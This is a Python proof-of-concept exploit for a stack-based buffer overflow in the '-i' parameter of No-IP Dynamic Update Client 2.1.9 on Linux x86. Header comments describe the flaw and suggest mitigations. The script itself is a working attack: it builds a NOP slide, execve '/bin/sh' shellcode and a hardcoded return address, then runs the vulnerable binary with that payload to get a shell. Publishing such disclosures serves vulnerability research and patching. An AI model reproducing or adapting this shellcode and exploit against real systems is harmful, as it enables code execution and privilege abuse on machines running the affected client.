No-IP Dynamic Update Client (DUC) 2.1.9 – Local IP Address Stack Overflow
#!/usr/bin/env python # Title: No-IP Dynamic Update Client (DUC) 2.1.9 local IPaddress stack overflow # Author: Alberto Ortega @a0rtega # alberto[@]pentbox[.]net # Date: May 11 2013 (vulnerability discovered) # Background: # # No-IP is probably the most used Dynamic DNS provider worldwide, # their Dynamic Update Client (DUC) is present by default in tons of # systems, software repositories and embedded devices. # # Description: # # To be easily portable, the client is written in C, with minimal # dependencies. So far so good, but the problem is, it is plagued of # buffer overflows. # # Vulnerability: # # This exploit covers a stack-based overflow present in -i # parameter, IPaddress variable name in source code. # # It is probably the most basic parameter, as this is the way to say # the client that our IP has changed. # # For the PoC we will use the Linux x86 client version 2.1.9: # https://www.noip.com/client/linux/noip-duc-linux.tar.gz # 3b0f5f2ff8637c73ab337be403252a60 # # http://a0rtega.pentbox.net/partyhard/noip2iexploit.txt # # Solution: # # API: https://www.noip.com/integrate/ # # If you are an embedded systems developer, you should write # your own implementation of the client. # # If you are a repository maintainer, the best solution may be # change the official client for another one. # # Compile the distributed binaries with some mitigations and # include them by default in Makefile would help too. import os binary = "./noip-2.1.9-1/binaries/noip2-i686" shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"\ "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"\ "\x80\xe8\xdc\xff\xff\xff/bin/sh" nop = "\x90" nop_slide = 296 - len(shellcode) # (gdb) print &IPaddress # $2 = (<data variable, no debug info> *) 0x80573bc eip_addr = "\xbc\x73\x05\x08" print "[*] Executing %s ..." % (binary) os.system("%s -i %s%s%s" % (binary, nop*nop_slide, shellcode, eip_addr)) |